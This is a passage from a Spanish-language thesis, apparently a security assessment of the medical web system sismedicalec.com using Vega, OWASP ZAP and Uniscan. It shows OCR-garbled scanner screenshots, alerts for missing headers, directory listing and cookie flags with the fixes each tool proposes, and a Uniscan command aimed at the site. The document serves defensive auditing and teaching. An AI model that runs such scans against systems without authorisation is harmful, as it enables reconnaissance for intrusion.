Discusion

AJAX (Javascript asincrono y XML) se refiere a una coleccién de tecnologias
utilizadas para hacer que la experiencia del usuario de las aplicaciones web sea
mas interactiva. La funcionalidad AJAX a menudo implica el envio asincrono de
solicitudes y el procesamiento de sus respuestas utilizando Javascript, sin
necesidad de recargar la pagina. Los puntos finales en el lado del servidor a
menudo aceptan parametros, lo que los convierte en puntos de inyeccion donde
podrian existir vulnerabilidades.

Impacto

Vega ha detectado contenido en el uso de AJAX, lo que indica la existencia  de
posibles puntos de inyeccion donde pueden existir vulnerabilidades. La API de
back-end de AJAX debe ser inspeccionada manualmente para detectar
vulnerabilidades.

Recomendacion

Esto no es una vulnerabilidad. Esta alerta solo indica que el codigo asociado
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con el uso de AJAX se ha detectado en el contenido escaneado. Las interfaces de
back-end AJAX pueden exponer posibles vulnerabilidades y la inspeccion manual
debe incluirse en cualquier evaluacion de seguridad integral.

- Self-Signed Certificate

File Scan Window Help

R0 & @® Scanner £ Proxy
& Website View ® & & = ~ O|/@ Scannfo =40
@ www.sismedicalec.com A Self-Signed Certificate A
@
@
Il > & ) AT A GLANCE
@
@ Classification Configuration
@ Risk
@
H
@ P DISCUSSION
o &
= Vega detected a self-signed certificate.
@ Scan Alerts mE =0
v @ 04/22/2019 11:34:37 [Completed] (81)
v @ https//www.sismedicalec.com (81) b IMPACT
@ Hish @
© Medium (6 > This is an informational finding.
© Low (56)
v @ Info(17)
% Blank Body Detected (2)
2 Character Set Not Specified (2) b REMEDIATION
2 HTTP Error Detected (11) v
% Possible AJAX code detected (/css/bootstraj > N/A
% Self-Signed Certificate (https://www.sismed| | 3o |dentities 52 S O

Figura 4.20: Muestra de informacion Self-Signed Certificate

Como se presenta en la figura 4.20: Indica la opcion de tipo informativa, “Self-
Signed Certificate” la ultima en el analisis que incluye unicamente una discusion,
impacto.

Discusion

Vega detectd un certificado autofirmado.

Impacto

Este es un hallazgo informativo.Estas son las Requests que muestra la herramienta
vega luego de realizar el escaneo de vulnerabilidades.

Opcion Requests, resultados finales
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File Scan Window Help

(C Y = -
Hs Requests He¥ ~C
D Host Method  Request Status  Length Time.. T *
0 https://www.sisme... GET ! 200 6561 12
1 https:/fwww.sisme.,  GET fimages/ 200 3933 5
2 https://www.sisme... TRACE / 200 215 3
3 https:/fwww.sisme... GET Jess/ 200 5070 i}
4 https:/fwww .sisme...  GET Jiconsf 200 74409 54
5 https://www.sisme... GET /images/profiles/ 200 2709 2
6 https:/fwww.sisme.. GET /images/_notes/ 200 917 2
7 https://www.sisme... GET ficons/small/ 200 14299 8
8 https://www.sisme... GET ficons/apache_pb.svg 200 266455 23
9 https:/fwww.sisme.,  GET [ess/maps/ 200 914 2
10 https://www.sisme...  GET Jess/malihu-custom-scrollbar-plugin/ 200 21M 3
il https:/fwww.sisme... GET JessfiCheck/ 200 1762 2
12 https:/fwww .sisme...  GET Jess/font-awesome/ 200 1961 3
11 ~

12 httef hananss cierma AFT IreefAdatatahlar nat_bidtanehe ! ann 1774
iy =]
Request Response
= HTTR/1.1 200 OK ~
Date: Mon, 22 Apr 2019 16:34:37 GMT
Server: Apache/2.4.39 (codeit) OpenSSL/1.1.1b PHR/5.6.40
X-Powered-By: PHP/3.6.40
Set-Cookie: PHPSESSID=83r43u3jradj2ukfof31km3ved; path=/
Expires: Thu, 19 Nov 1881 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6561
Keep-Alive: timeout=35, max=%%
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

= <IDOCTYPE html PUBLIC " TD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmins="http://www.w3.org; html"»
<head> v

Figura 4.21: Interfaz que muestra la ventana Requests

En la figura 4.21: Presenta la ventana Request que contiene los resultados finales
del anélisis de su respectivo objetivo analizado.
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4.3.2. Herramienta Owasp Zap

Herramienta de analisis Owasp Zed Attack Proxy (ZAP) Zed Attack Proxy (ZAP):
Herramienta de facil uso para encontrar vulnerabilidades en aplicaciones web. Esta
disefiada para ser utilizada tanto por desarrolladores y probadores funcionales (que
son nuevos en test de intrusion) como por personas con una amplia gama de
experiencia en seguridad. Permite automatizar las pruebas y también facilita un
numero de herramientas para hacerlas manualmente [22].

Con la finalidad de prevenir que la base de datos muestre alguna, en relacién con
nuestra herramienta de la OWASP “Zed Attack Proxy” permite a los
programadores realizar testeos durante el desarrollo de la aplicacion con el fin de
encontrar vulnerabilidades y poder corregir alguna vulnerabilidad encontrada en
la aplicacion al igual permitir realizar la correccion o el anélisis en el codigo
directamente en un ambiente grafico, caso contrario al SQL rand donde se debe
implementar este modelo sobre la aplicacion que debe estar actualizando este tipo
de codigo para no ser vulnerable (OWASP Zed Attack Proxy Project) [23].

Las principales caracteristicas con las que cuenta un auditor al
utilizar esta herramienta son:

= Herramienta totalmente gratuita y de cédigo abierto.

= Herramienta multi-plataforma, compatible incluso con Raspberry Pi.
» Facil de instalar, dependiendo Unicamente de Java 7 o superior.

= Posibilidad de asignar un sistema de prioridades.

» Traducida a méas de 12 idiomas, entre ellos, el espafiol.

= Excelente manual de ayuda y gran comunidad en la red [24].

Algunas de las funcionalidades de ZAP se citan a continuacion:

= Funciona como un proxy que intercepta todas las peticiones que se realizan
y las respuestas recibidas (Gtil sobre todo para ver peticiones que no sean
evidentes a simple vista). También permite establecer puntos de ruptura para
cambiar peticiones y respuesta sobre la marcha.

= Analisis activo de vulnerabilidades. ZAP realiza ataques conocidos contra
las aplicaciones web seleccionadas con el objetivo de encontrar vulnera-
bilidades potenciales. Este analisis s6lo puede encontrar ciertos tipos de

49



vulnerabilidades, por lo que debe completarse con pruebas de penetracion
manual.

= Analisis pasivo de vulnerabilidades. Este tipo de andlisis no modifica las
respuestas y no ralentiza la exploracion ya que se realiza en segundo plano.

= Deteccion automatica de nuevos recursos (spider ). A partir de una lista de
enlaces, esta herramienta identifica todos los hipervinculos de la paginas y
accede a ellos repitiendo el proceso de forma recursiva. Autenticacion y
gestion de sesiones.

= Proporciona un API Rest (disponible en JSON, HTML y XML) para la
integracion con otras herramientas, que permite el uso de las funcionalidades
de escaneo activo y spider, aunque en futuras versiones de ZAP se aumentara
el nimero de funcionalidades disponibles a partir del API.

= Actualizaciones automaticas. Plugins integrados y un marketplace de
plugins en constante actualizacion.

» Plugins integrados y un marketplace de plugins en constante actualizacién

[25].

Vulnerabilidades con Owasp Zap

* Procedimiento para el uso de la herramienta Owasp Zap.
Se busca Owasp Zap en el listado de herramientas que proporciona Kali Linux,
comienza a cargar y se muestra de la siguiente manera.

OWASP ZAP © © o

OWASP ZAP

2.7.0 ( 0
L ] ‘

Loading ZAP Tips and Tricks...

Starting ZAP...
INFO: Loading extensions

Figura 4.22: Iniciando la herramienta Owasp Zap

Segun la figura 4.22: Presenta el inicio del escaner OWASP ZAP cuando es
seleccionada la herramienta que tiene incluida el sistema operativo Kali Linux para
la el analisis y deteccion de vulnerabilidades web.
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Cuando se inicia la aplicacion se puede observar una pantalla donde permite
restaurar una sesion anterior o iniciar una nueva.
En este ejemplo ya que se procede a iniciar un analisis nuevo no es necesario
restaurar ninguna sesion y se despliega una pantalla de bienvenida e inicio del
analisis, como se observa en la siguiente figura.

FIEL g I8 0RO 008 4 v @ ¥Emm o€

([ inio Rapido #.] = Peticién | Respuesta= | |
Bienvenido al OWASP Zed Attack Proxy (ZAP)

ZAP es una herramienta para pruebas de penetracion, de facll uso y con multiples componentes, para encontrar vulnerabilidades en aplicacion

ones para las cuales se ha sido previamente autorizado.

ara probar una aplicacién rapidamente, Introduzea la URL y presione ‘Atacar-,

URL a atacar: hittp:// @ Seleccic

n profundidad de la prueba se debe explorar la aplicacién mediante pruebas de regresion automatizadas navegando a trd

.ando Firefox 24.0 0 superior puede usar Plug-n-Hack para configurar su navegador:

) Historia | “ Buscar [ [ Alertas salda | 4

@ @ | Filro: APAGADO ¢ Exportar

Figura 4.23: Pagina de bienvenida de la herramienta Owasp Zap.

Como se presenta la figura 4.23: Muestra la pagina de inicio y bienvenida que
presenta el escaner Owasp Zap para sus usuarios, también indica la opcion para
colocar la URL que se va a atacar y el botén Attack que sirve para iniciar el
respectivo andlisis del sitio web especifico.

En la parte derecha de la pantalla contiene un modo de ataque automatico o activo.
Si se coloca en input la Url de la Web, https://www.sismedicalec.com a auditar
y se clickea sobre la opcion Attack, comenzara a navegar a través de los diferentes
enlaces y a descubrir ficheros ocultos de la misma usando diferentes técnicas como
la lectura del fichero robots.txt, spider, etc.

3 kd ® g A EDEE 608 L W) e HUmEm €E

Inicio Rapido # | = Peticién | Respuestas= | % |

i
Bienvenido al OWASP Zed Attack Proxy (ZAP)
2ZAP es una herramienta para pruebas de penetracion, de facil uso y con multiples componentes, para encontrar vulnerabilidades en aplicaciones web.
en en ebes ataca reviamente autorizad.
licacién rapidamente. a resione ‘Atacar

URL a atacar: https://www.sismedicalec.com @ Seleccionar.
Atacar
Progreso: No s e
([ Himtona o buscar | P oras | sabda [ & |
© @ | Filtro: APAGADO ¢ Exportar
D Req. Timestamp Método URL Code Reason RTT Size Resp. Body Highest Alert Note Tags B

Figura 4.24: Colocacion de la Url del sistema web a analizar, al presionar en
Atacar empieza el analisis.

Segun la figura 4.24: Muestra la pagina de inicio de Owasp Zap con una

bienvenida y descripcion de la herramienta también esta la opcion URL atacar
donde se escribe el objetivo especifico para iniciar el analisis correspondiente.
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Alertas encontradas segun su nivel de riesgo

Es recomendable empezar a describir cada alerta, por su mayor grado de riesgo
encontrado, en este caso seria por “Riesgo Medio”.

- Encabezado X-Frame-Options no establecido

Url: https://www.sismedicalec.com/

Riesgo: medio

Confianza: media

Origen: Pasivo (10020 - Opciones del encabezado del escaner X-Frame)

Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda

Wodo estandar ) || 1 B b= = D0 OO de. © %ERE 066

Pl
@ sitios | 4 Inicio Rapido # | = Peticién | Respuestas= | 4 |

enas :
Contexto predeterminado . Bienvenido al OWASP Zed Attack Proxy (ZAP)
v @ Sitios " para encontrar vulnerabilidades en aplicaciones web.
v 5 icalec.co
% Te do.
URL a atacar: icalec.cor eleccionar...
age

Figura 4.25: Muestra la alerta nombrada como: Encabezado X-Frame-Options no
establecido.

Segun la figura 4.25: Indica la primera alerta detectada en este caso es de riesgo
medio, “Encabezado X-Frame-Options no establecido”, la URL, parametros, el
origen, pero sobre todo la correspondiente descripcion de la alerta, la posible
solucién sugerido por la herramienta.

Descripcién de alerta

El encabezado X-Frame_options no esta incluido en la respuesta HTTP para
proteger ante ataques *ClickJacking’.

Solucion propuesta por Owasp Zap

Los navegadores de web mas modernos apoyan la cabecera HTTP X-Frame-
Options. Por ello se debe asegurar que esté establecido en todas las paginas web,
de la aplicacion, (si se espera que la pagina este enmarcada solo por paginas en su
servidor (por ejemplo, es parte de un FRAMESET, que define  la organizacion
de marcos dentro de la ventana del usuario) por otro lado si especifica
SAMEORIGIN, puede usar la pagina en un marco mientras el sitio que la incluya
sea el mismo que la sirve, de otra forma o si nunca se espera que la pagina esté
enmarcada, deberia usar DENY. ALLOW-FROM para que permite
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a los sitios web especificos enmarcar la padgina web en navegadores web que sean
compatibles).

- Exploracién de Directorios

Url: https://www.sismedicalec.com/css/

Riego: Medio

Confianza: Media

Ataque: Parent Directory

Origen: Activo (0 - Exploracion de Directorios)

Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda

(Modoestinder ) | B M 0 & | 60 D@0 O &a, © XU mm wCG
@ Sitios | 4 Inicio Répido # | = peticin | Respuestas= | 4 |

00E5 .
. . "
Contexto predeterminado .| Bienv al OWASP Zed Attack
v
v @ Sitios Ll | zae encontrar vulnerabilidades en aplicaciones web.
> (5 R maction
2 # GET:action 2
» ERwcs
age |
" : )

o
« » | | Para un anslisis mis en profundidad de la prueba se debe explorar la aplicacién mediante pruebas de regresién automatizadas navegando a través ZAP como proxy.
[ % Historia | Buscar [ [alertas # |~ saida | & |

e /

Figura 4.26: Muestra alerta, Exploracion de Directorios

Segun como se observa en la figura 4.26: Presenta la siguiente alerta también de
riesgo medio, “Exploracion de Directorios”, con su respectiva url, al tipo de
ataque, origen y la correspondiente descripcion de la alerta, y la posible solucién
recomendada por la herramienta Owasp Zap.

Descripcion de la alerta

Es posible ver el listado de directorios. La lista de directorios puede revelar scripts
ocultos, incluyen archivos, copia de seguridad de los archivos de origen, etc., que
se pueden acceder para leer informacion sensible.

Solucién

Una solucién rapida es la creacion de un archivo index.html sin contenido en la
carpeta publicada, de manera que al ingresar a la ruta solicitada, se expondra el
index.html sin contenido.

Desactivar la exploracion de directorios. Si esto es necesario, se debe asegurar de
que el archivo de la lista no induce riesgos.
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Vulnerabilidades de Riesgo Bajo

- Cookie No HttpOnly Flag

Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda
Modo estandar 1) 5 = 3 L] ] L") e KNGl wE€E

[@suel & o = oo | maspussavel o |

el

Cookie No HttpOnly Flag

hitps:/www.sismedicalec.com
¥ Low
Medium
ider
a v

Figura 4.27: Muestra la alerta Cookie No HttpOnly Flag

Como se muestra en la figura 4.27: Indica la primera alerta de riesgo bajo,
“Cookie No HttpOnly Flag”, con su respectiva url analizada, el nivel de confianza,
el parametro, evidencia, origen y lo méas destacado la descripcion de la alertay la
posible solucion a tomar en cuenta.

Descripcion de la alerta:

Se ha establecido una cookie sin la bandera HttpOnly, lo que significa que la
cookie puede ser accedida mediante JavaScript. Si un script malicioso puede ser
ejecutado en esta pagina entonces la cookie sera accesible y podra ser transmitida
a otro sitio. Si esta es una cookie de sesion entonces el secuestro de sesién podria
ser posible.

Solucion

Debe estar seguro que la bandera HttpOnly esta establecida para todas las
cookies.

- Cookie sin bandera asegurada

Url: https://www.sismedicalec.com

Riesgo: Bajo

Confianza: Media

Parametro: Evidencia: Set-Cookie: PHPSESSID

Origen: Pasivo (10011 - Cookie sin bandera asegurada)
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Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda
| Modo estandar =) EHe - OS2 D@0 OO0 A8 vV @ Q¥EEmE €&
@ Sitios | 4 [ & inicio Rapido | = Petickn | Respuestas= | 4
@LIEIS Header: Vista Raw |¥| | Cuerpo:Vista Raw |¥|
Contexto predeterminado | (RITP7IT 200 UK :
v @ sitios | |pate: Mon, 22 Apr 2019 20:46:25 GMT
erver: Apache/2.4.39 (codeit) OpenSSL/1.1.1b PHP/5.6.40 >

|
s
v " ™ https://www.sismedicalec.com Upgrade: h2
S

72 ¥ action Connection: Upgrade

X-Powered-By: PHP/5.6.40 b

F4 # GET:action Set-Cookie: PHPSESSID-hssqdon05fiovquiddas7a83s2; path=/ v
¥ css - s

P GET:css )

s GET:images

h, initial-scal

Fo ¥ images

I # GET:robots.txt o g

/4 ¥ GET:sitemap.xmi v ='htt - p .
< . y pe="text/css"> S
[ 7% Historia | = Buscar [ [ialertas | salida [ 4 |
e . Cookie sin bandera asegurada 3
v i@ Alertes (8) URL: https://www.sismedicalec.com

Riesgo: 2 Low

» / Encabezado X-Frame-Options no establecido (10) R Medii

» P Exploracién de Directorios (3) Parametro: PHPSESSID
¥ [ Cookie No HttpOnly Flag Ataque:
GET: https://www.sismedicalec.com Evidencia: Set-Cookie: PHPSESSID
¥ {4 Cookie sin bandera asegurada CWEID: 614
B GET: https://www.sismedicalec.com WASC ID: 13

» F Inclusién de archivos de origen JavaScript Cross-Domain ( Origen: Pasivo (10011 - Cookie sin bandera asegurada)
» [ Incompleto 0 no Cache-control y sistema de encabezado | | Descripcion:
» £ No se encuentra encabezado X-Content-Type-Options Hea

» % Proteccién de buscador de web XSS no disponible (22) Una cookie ha sido enviada sin |a bandera asegurada, lo que significa que la cookie puede ser accedida mediante conexiones sin cifrar.

<l T wall _

Figura 4.28: Muestra de alerta Cookie sin bandera asegurada.

La figura 4.28: Presenta una alerta “Cookie sin bandera asegurada”, de riesgo
bajo, con su respectiva url, el nivel de confianza, el pardmetro, evidencia, origen
y sobre todo la respectiva Descripcion de la alerta y solucién propuesta por el
escaner Owasp Zap.

Descripcion de alerta:

Una cookie ha sido enviada sin la bandera asegurada, lo que significa que la cookie
puede ser accedida mediante conexiones sin cifrar.

Solucion:

Cuando una cookie contiene informacion sensible o es un token de sesion, deberia
ser siempre pasada usando un canal cifrado. Debe estar seguro de que la bandera
asegurada esté establecida para cookies conteniendo informacién sensible.

- Inclusion de archivos de origen JavaScript Cross-Domain

Url: https://www.sismedicalec.com/

Riesgo: Bajo

Confianza: Media

Parametro: https://www.google.com/recaptcha/api.js

Evidencia: <script src="https://www.google.com/recaptcha/api.js’></script>
Origen:Pasivo (10017 - Inclusidn de archivos de origen JavaScript Cross-Domain)
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Archivo Editar Ver Analizar Reporte Herramient
|(Modo estandar_iv) | | ks M W
@ sitios | +

enacs Header: Vista Raw |v] | Cuerpo:Vista Raw |

Contexto predeterminado

200 0K R
ate: Mon, 22 Apr 2019 20:46:25 GMT
ache/2.4.39 1t) OpensSL/1.1.1b PHP/5.6.40

F # GET:robots.txt
1 ¥ GET:sitemap.xmi

Figura 4.29: Muestra la alerta Inclusién de archivos de origen JavaScript Cross-
Domain

Como se muestra en la figura 4.29: Indica detalladamente la alerta de riesgobajo
“Inclusion de archivos de origen JavaScript Cross-Domain”, con su respectiva url,
confianza, el parametro, evidencia, origen sobre todo la descripcion de la alerta y
la posible solucion a tomar en cuenta.

Descripcion de la alerta:

Las paginas incluyen uno o mas archivos encriptados de un dominio de terceros.
Solucion:

Es importante asegurar que los archivos de la fuente JavaScript estan descargados
solo de sus fuentes confiables, y las fuentes no pueden ser controladas por los
usuarios finales de la aplicacion.

- Incompleto o no Cache-control y sistema de encabezado HTTP
Pragma

Url: https://www.sismedicalec.com

Riesgo: Bajo

Confianza: Media

Parametro: Cache-Control

Origen: Pasivo (10015 - Incompleto o no Cache-control y sistema de encabezado
HTTP Pragma)
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[ = eticién | Respuestas=| |

2 Raw |¥) | Cuerpo:Vista Raw |

1 Jul 2018 04:23:00 GMT

h 1y sistema de HTTP Pragma
https:/www.sismedicalec.com/css/login.css
i Low

(10015 - Incompleto o o Cache-control y sistema de encabezado HTTP Pragma)

rol y encabezado HTTP Pragma no han sido establecidos apropiadamente o faktan, permitiendo al navegador y servidores proxy

Figura 4.30: Interfaz acerca de la alerta Incompleto o no Cache-control y sistema
de encabezado HTTP Pragma

Segun la figura 4.30: Presenta la alerta con nivel de riesgo bajo denominada
Incompleto o no Cache-control y sistema de encabezado HTTP Pragma”, incluye
también la url, el nivel de confianza, el pardmetro, origen y una descripcion
correspondiente a la alerta presentada con una posible solucion a seguir.
Descripcién de la alerta:

El cache-control y encabezado HTTP Pragma no han sido establecidos apropiada-
mente o faltan, permitiendo al navegador y servidores proxy almacenar contenido.
Solucion:

Siempre que sea posible asegurarse que el encabezado HTTP cache-control esta
establecido con no-cache, no-store, must-revalidate, y que el encabezado HTTP
pragma esté establecido con no-cache.

- No se encuentra encabezado X-Content-Type-Options Header.

Url: https://www.sismedicalec.com/

Riesgo: Bajo

Confianza: Media

Parametro: X-Content-Type-Options

Origen: Pasivo (10021 - No se encuentra encabezado X-Content-Type-Options
Header)
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Archivo Editar Ver
Modo estandar '+
@ Sitios 1‘

Cl=l=t=
Contexto predaterminado

9 20:46:25 GHT
9 (codeit) OpensSL/1.1.1b PHP/S.6.40

Upgrade
y: PHP/5.6.40
PHPSESSID=hssgdon0Sf10vquiddas7agas2; pathe/

X-Ce ions Header

No X
URL:  hitps:/www.sismedicalec.com
T
Riesgo: i Low
Confianza: Medium
XContent-Type-Options

Figura 4.31: Interfaz sobre la alerta No se encuentra encabezado X-Content-Type-
Options Header.

Segun se observa en la figura 4.31: Indica la alerta de riesgo bajo denominada
como “No se encuentra encabezado X-Content-Type-Options Header”, incluye la
url, el nivel de confianza, el parametro, origen y su respectiva descripcién de la
alerta presentada con su correspondiente posible solucion a seguir.

Descripcién de la alerta:

El encabezado Anti-MIME-Sniffing X-Content-Type-Options no estaba configu-
rado para "nosniff’. Esto permite versiones antiguas de Internet Explores y Chrome
ejecutar MIME-sniffing en el cuerpo de la respuesta, causando potencialmente que
el cuerpo de respuesta sea interpretado y desarrollado como un tipo de contenido
diferente que el tipo de contenido declarado. Estos (principios de 2014) y versio-
nes antiguas de Firefox preferiblemente usarén el tipo de contenido declarado (si
hay uno establecido), antes que ejecutar el MIME-Sniffing.

Informacion:

Este inconveniente aln aplica para paginas de error (401, 403, 500, etc.) ya que
esas paginas a menudo todavia estan afectadas por problemas de inyeccién, en
cuyos casos aln hay preocupacion de buscadores rastreando paginas fuera de su
tipo de contenido veridico. En limite ’alto’ este escaner no alertard sobre las
respuestas de error al cliente o servidor.

Solucion:

Se debe asegurar que el servidor de la aplicacién/web establezca el encabezado
Content-Type apropiadamente, y que esté establecido el encabezado X-Content-
Type-Options en 'nosniff” para todas las paginas web. Si es posible, se tiene que
asegurar que el ultimo usuario usa un navegador web compatible con los
estandares y moderno que no ejecute MIME-sniffing en absoluto, o que pueda ser
dirigida por el servidor de la aplicacion/web para no ejecutar MIME-sniffing.
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- Proteccion de buscador de web XSS no disponible

Url: https://www.sismedicalec.com/

Riesgo: Bajo

Confianza: Media Parametro: X-XSS-Proteccion

Origen: Pasivo (10016 - Proteccidn de buscador de web XSS no disponible)

Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda

(Modo estandar 1v) | | & W A= = & 2 he0 OO0 dd V@ XEnE 0CGC
@ sitios | + (5 inicio Rapido | = Peticién | Respuestas= | +

v @ sitios
https:/Awww.sismedicalec.com!

jparade
PHP/5.6.40
PHPSESSID=hssgdon0S10vquiddas7as3s2; pathe/

ttp: / /w3 ,0rg 1999/ xk D

e HTTP

Figura 4.32: Interfaz que muestra la alerta Proteccion de buscador de web XSS
no disponible

Como se muestra en la figura 4.32: Muestra la Gltima alerta del nivel de riesgo
bajo, denominada “Proteccion de buscador de web XSS no disponible”, la url, el
nivel de confianza, el parametro, origen , también la descripcion de la alerta
detectada con la solucion propuesta por la herramienta.

Descripcién de la alerta

La proteccién del buscador de web XSS no esta disponible, o estd deshabilitada por
la configuracion de la cabecera de respuesta de HTTP *X-XSS-Proteccion’ en el
servidor de web

Informacion

El encabezado de respuesta HTTP X-XSS-Protection le permite al servidor web
habilitar o deshabilitar el mecanismo de proteccion del navegador web XSS. Los
siguientes valores intentan habilitarlo: X-XSS-Protection: 1; mode=bloqueo X-
XSS-Protection:1; reporte=http://www.example.com/xss Los siguientes valores lo
deshabilitarian: X-XSS-Protection: 0 El encabezado de respuesta HTTP X- XSS-
Protection es actualmente compatible en Internet Explorer, Chrome y Safari
(WebKit). Tenga en cuenta que esta alerta solo se produce si el cuerpo de respuesta
podria potencialmente contener una carga util XSS (con un tipo de contenido
basado en texto, con una longitud distinta de cero).

Solucion
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Se debe asegurar que el filtro XSS del navegador web esta habilitado,
estableciendo el encabezado de respuesta HTTP X-XSS-Protection en ’1°.
Progreso del escaneo, al terminar en analisis del sistema web “SISMEDICA-
LEC”.

https://www.sismedicalec.com Progreso del escaneo Qo

[ Progreso | Tabla de respuesta |

Sitio: | https://www.sismedicalec.com b
| | Fuerza Progreso | Transcurrido | Requis... | Alertas | Est...

| Analizador 00:00.136 5
Plugin

| Directory Traversal Medio B  00:05.500 245 0 ¥
Inclusion Remota de Archivos Medio B  00:03.028 160 0 ¥
Server Side Include Medio S 00:01.509 64 0 W

| Cross Site Scripting (Reflejada) Medio SN 00:01.679 48 0 ¥

| Cross Site Scripting (Persistente) - Prin... Medio B 00:01.065 16 0 ¥

| Cross Site Scripting (Persistente) - Spl... Medio [E——] 00:01.076 13 0 W
Cross Site Scripting (Persistente) Medio ] 00:00.455 0 0 ¥
Falla por Inyeccion SQL Medio S 00:06.011 400 0 ¥
Inyeccion de Codigo de la Lado del Ser... Medio .  00:01.790 128 0 ¥
Inyeccion Remota de Comandos 05 Medio S 00:05.919 512 0 ¥

| Exploracién de Directorios Medio [——] 00:01.051 13 3 ¥

| Re-direccién Externa Medio ———] 00:02,565 144 0 ¥
Buffer Overflow Medio ESSSSSS  00:01.246 16 0 ¥

| Error de formato de cadena Medio S 00:01.333 48 0 ¥
Inyeccion CRLF Medio B 00:01.554 112 0 ¥
Maznipulando Pardmetros Medio NS 00:02.339 100 0 ¥

' Reglas de bdsqueda activadas parael ... Medio === 00:00.003 0 0 @
Totales 00:38.289 2088 3

| Copiar al portapapeles cerrar

Figura 4.33: Interfaz que muestra el progreso final del escaneo de vulnerabilidades
al sistema web.

Segun la figura 4.33: Muestra una ventana luego de presentar y describir cada
vulnerabilidad web de acuerdo a su grado de riesgo, la herramienta OWASP ZAP,
tambien proporciona una Ventana adicional donde muestra el progreso final del
escaneo, con el objetivo cumplido, de acuerdo a su analisis y descripcion.
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4.3.3. Herramienta web Uniscan

Es un escaner de vulnerabilidades Web, dirigido a la seguridad informatica, cuyo
objetivo es la busqueda de vulnerabilidades en los sistemas web. Esta licenciado
bajo GNU GENERAL PUBLIC LICENSE 3.0 (GPL 3).

Uniscan se ha desarrollado utilizando el lenguaje de programacion Perl, destaca
por su facilidad para trabajar con el texto, usar expresiones regulares, ademas de
ser multihilo.

Sus caracteristicas principales son:

= Identificacién de las paginas del sistema a través de un rastreador web.
= El uso de threads en el rastreador.
= Controla el nimero méximo de peticiones.

= Control de la variacion de las paginas identificadas por el sistema rastreador
web.

= Control de las extensiones de archivo que se ignoran.

= Prueba de paginas encontradas a través del método GET.

= Prueba de los formularios que se encuentran a travées del método POST.
= Soporte de peticiones SSL (HTTPS).

= Soporte de proxy.

» Interfaz grafica simple.

= Afadido nuevo plugin "PHP inyeccion argumento CGI" para las pruebas
dindmicas.

= Busqueda para los plugins de Drupal, Joomla y WordPress [26].

Arquitectura de Uniscan

Un escaner de vulnerabilidades tiene modulos esenciales, como rastreador y
comprobador de vulnerabilidades. Estos componentes son responsables de
actividades vitales. El rastreador intenta encontrar todos los archivos y vinculos
dentro del sitio objetivo. Por otro lado, el verificador de vulnerabilidades es
responsable de realizar diferentes tipos de pruebas sobre cada archivo o vinculo
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encontrado. Ademas, el probador puede realizar un gran conjunto de pruebas,
siendo que no todos son conocidos o pueden realizarse en el momento de disefiar
el escaner de vulnerabilidades. Bajo esta Optica, una forma de disefiar un escaner
de vulnerabilidades flexibles y extensibles es a traves de la modularizacion y el
uso de plug-ins [27].

Para la version de terminal: Primero, abra el terminal y escriba Uniscan y
presione enter. Se mostraran todos los parametros disponibles que puede utilizar.
Puede iniciar el archivo de ayuda usando "uniscan -h" y se detallan todas las
opciones de esta herramienta.

help

<url> example: https://www.example.com/
<file> list of url's

Uniscan go to background

Enable Directory checks

Enable File checks

Enable robots.txt and sitemap.xml check
Enable Dynamic checks

Enable Static checks

Enable Stress checks

<dork> Bing search

<dork> Google search

Web fingerprint

Server fingerprint

-h
-u
-f
-b
-q
-w
-e
-d
=
-r
-i
-0
-9
=)

Figura 4.34: Pantalla del listado de opciones que ofrece UNISCAN

Como se observa en la figura 4.34: Presenta el listado de tareas que puede ejecutar
la herramienta Uniscan ya sea una por una o diferentes de ellas o a su vez todas en
un analisis.

Listado de vulnerabilidades que detecta la herramienta Uniscan

= consultar directorio

= verificar archivos

= revisar robots.txt

= pruebas dinamicas

= pruebas estaticas

= pruebas de estrés

= huella digital

= huella digital del servidor
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Coémo funciona Uniscan-GUI.

Para realizar un analisis con Uniscan es tan sencillo como seleccionar las opciones
y elegir el objetivo. Para posteriormente estar disponible un informe con los
resultados obtenidos al pulsar en la opcion Open log file, que muestra un informe
del analisis al sistema web. Uniscan tiene linea de comandos, asi como interfaz
GUIL.

La versién GUI se puede cargar usando el siguiente comando.

root@kali19: ~ © e e
Archivo Editar Ver Buscar Terminal Ayuda

Figura 4.35: Comando para ver la Interfaz de Uniscan

Como se muestra en la figura 4.35: Indica mediante el uso del terminal desde el
sistema operativo Kali Linux, que al escribir uniscan-gui inmediatamente empieza
a cargar la interfaz de la herramienta Uniscan.

Uniscan Web Vulnerability Scanner

Uniscan Options: M Check Direclory _| Check Files _| Check robots.txt _| Dynamic tests
_I Staticlests _| Stress tests _{ Wb Fingerprint _{ Server Fingerprint Web a auditar

Seleccion de plugins

Comienzo de la
auditoria

Acceso al log del
analisis

Figura 4.36: Listado de opciones de pruebas mediante el escaner Uniscan con
interfaz.

En la siguiente figura 4.36: Muestra la version GUI de la herramienta Uniscan,
detallando cada tarea que puede ejecutar la misma, al momento de realizar el
analisis del objetivo, una aplicacion web.

Escaneo del sistema web sismedicalec

Herramienta usada (UNISCAN)

en modo consola comando:
uniscan -u http://www.sismedicalec.com / -qwedsgj
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root@kali19: ~ © 60 O

Archivo Editar Ver Buscar Terminal Ayuda

:~# uniscan -u http://www.sismedicalec.com/ -qwedsgj
HHBHHRBBURBBERBHBHBHBURBBBRBHBBBRRBH
# Uniscan project #
# http://uniscan.sourceforge.net/ #
HHHHRBURUBRBRBRBHBBUBUBRRBBBUBRBBBBRAHR

Domain: http://www.sismedicalec.com/
Server: Apache/2.4.39 (codeit) PHP/5.6.40
IP: 192.168.0.106

Looking for Drupal plugins/modules

GET,POST,OPT S,HEAD, TRACE

Figura 4.37: Interfaz con el comando para ejecutar el anélisis de vulnerabilidades
web.

Segun la figura 4.37: Indica una pantalla donde se escribe la linea de comando,
uniscan -u http://www.sismedicalec.com/ acompafiado de qwedsgj, el mismo que
ordena a la herramienta que ejecute en su analisis 7 diferentes opciones de tareas.

Al digitar este comando ejecutara 7 tareas diferentes como:

= ( Activa la comprobacion de directorios.

w Activa la comprobacion de archivos.

e Analiza los ficheros robots.txt y sitemap.xml.

d Habilita las comprobaciones dinamicas.

s Activa las comprobaciones estaticas.

g Realiza un seguimiento de huella digital a la web.

